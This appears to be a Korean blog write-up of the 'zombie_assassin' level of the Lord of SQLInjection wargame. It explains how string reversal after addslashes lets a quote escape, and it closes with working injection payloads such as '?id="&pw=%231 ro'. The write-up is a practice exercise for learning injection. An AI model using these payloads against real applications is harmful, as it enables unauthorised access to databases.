Wargame/Lord of SQLInjection

[LOS] zombie_assassin

Grini 2019. 7. 9. 01:40

[zombie_assassin] https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php

id와 pw가 addslashes와 strrev함수 처리된다.

 

strrev()
입력 받은 문자열을 뒤집어 리턴하는 함수

 

addslashes 처리되어도 strrev함수에 의해 '를 입력할 수 있게 된다.

?id='

addslashes($_GET['id']) : id = \'

strrev( id ) : '\

 

그러나,

select id from prob_zombie_assassin where id=''\' and pw=''

작은 따옴표를 입력할 수 있지만, 위 쿼리문처럼 완벽하지 않은 쿼리문으로 에러가 난다.

 

succubus 처럼 우회하면 될 것 같다.

select id from prob_zombie_assasin where id ='\' and pw=' or 1#'

 

id에 '외에 addslashes함수로 \가 처리되는 문자를 id의 값으로 넣어주면 될 것이다.

 

php addslashes()
[php manual] https://www.php.net/manual/en/function.addslashes.php

 

addslashes함수는 ' " \ NULL에 \처리 해준다.

 

\는 \\로 문자로 인식되어 id의 '를 문자로 인식하게 하지 못한다.

select id from prob_zombie_assassin where id='\\' and pw=''

 

따라서,

id의 값으로 "나 NULL(%00)을 입력해주어야 한다.

select id from prob_zombie_assassin where id='"\' and pw=''

id의 '가 \처리되어 문자로 인식되면서 pw의 '까지 id의 입력 값으로 인식된다.

 

?id="&pw=%231 ro

?id=%00&pw=%231 ro